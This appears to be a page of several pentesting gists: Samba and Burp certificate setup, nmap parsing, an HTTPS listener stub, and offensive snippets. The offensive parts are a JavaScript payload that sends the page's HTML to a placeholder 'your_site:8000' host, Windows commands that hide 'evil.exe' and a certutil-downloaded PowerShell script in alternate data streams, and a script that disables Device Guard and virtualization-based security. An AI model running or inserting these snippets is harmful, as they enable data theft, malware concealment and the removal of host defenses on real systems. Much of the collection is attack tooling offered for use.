This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apt-get install samba | |
cd /etc/samba/ | |
Optional: | |
rm smb.conf | |
touch smb.conf | |
nano smb.conf | |
[Name you want to get shown of the folder] | |
path = path of folder you want to share |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Generate "burp.der" certificate | |
Convert DER to PEM: | |
openssl x509 -inform der -in burp.der -out burp.pem | |
Install Burp certificate in Linux: | |
cp burp.pem /etc/ssl/certs/ | |
update-ca-certificates | |
cp burp.pem burp.crt | |
cp burp.crt /usr/local/share/ca-certificates/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Using GET method | |
//Use it for URL encoded data delivery | |
d=encodeURI(document.documentElement.outerHTML) | |
//Use it for base64 encoded data delivery | |
//d=window.btoa(document.documentElement.outerHTML) | |
x = new XMLHttpRequest(); | |
x.open("GET","//your_site:8000?d="+d,true) | |
x.send(); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Source: https://twitter.com/DamianRath/status/1005564997215444993 | |
# Mount a VMware virtual disk (.vmdk) file | |
function vmmount() { | |
if [ ! -d "/tmp/vmmount" ]; then | |
sudo mkdir -p /tmp/vmmount | |
fi | |
sudo mount $1 /tmp/vmmount/ -o ro,loop=/dev/loop1,offset=32768 -t ntfs | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AngularJS: angular.version | |
ReactJS: React.version | |
JQuery: $().jquery; | |
Remove disabled attribute: | |
html_elements = ["input", "select", "button"]; for(j=0; j<html_elements.length; j++) { for(i=0; i<document.getElementsByTagName(html_elements[j]).length; i++) { document.getElementsByTagName(html_elements[j])[i].disabled=false; } } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Nmap open ports: | |
Linux: grep -i ".*/tcp.*open.*" filename.nmap | cut -d "/" -f1 | sort -u -n | tr "\n" "," | sed 's/,$//' | |
Windows: grep -i ".*/tcp.*open.*" filename.nmap | cut -d "/" -f1 | sort2 -u -n | tr -s "\r\n" "," | sed "s/,$//" | |
Powershell: Select-String -Path .\filename.nmap -Pattern ".*/tcp.*open.*" | Select-Object -ExpandProperty Line | %{$_.Split('/')[0]} | Sort-Object -Unique | %{$_.replace("`r","a")} | |
#Linux ping check: | |
for ip in `cat TARGETS.txt`; do data=`ping $ip -c 1 | grep -i "packet loss" | cut -d "," -f3`; echo "$ip,$data"; done | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes | |
import BaseHTTPServer, SimpleHTTPServer, logging | |
import ssl | |
import sys | |
import cgi | |
class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): | |
def do_GET(self): | |
#logging.error(self.headers) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Source: https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/ | |
openssl x509 -inform DER -in cacert.der -out cacert.pem | |
mv cacert.pem `openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1`.0 | |
adb root | |
adb remount | |
adb push <cert>.0 /sdcard/ | |
mv /sdcard/<cert>.0 /system/etc/security/cacerts/ | |
chmod 644 /system/etc/security/cacerts/<cert>.0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Add content to ADS | |
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" | |
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe | |
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe | |
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt | |
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab | |
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe | |
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg | |
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey | |
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#SCRIPT TO DISABLE DEVICE GUARD & VIRTUALIZATION BASED SECURITY | |
#https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage | |
mountvol X: /s | |
copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y | |
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader | |
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\SecConfig.efi" | |
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215} | |
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO,DISABLE-VBS | |
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X: | |
mountvol X: /d |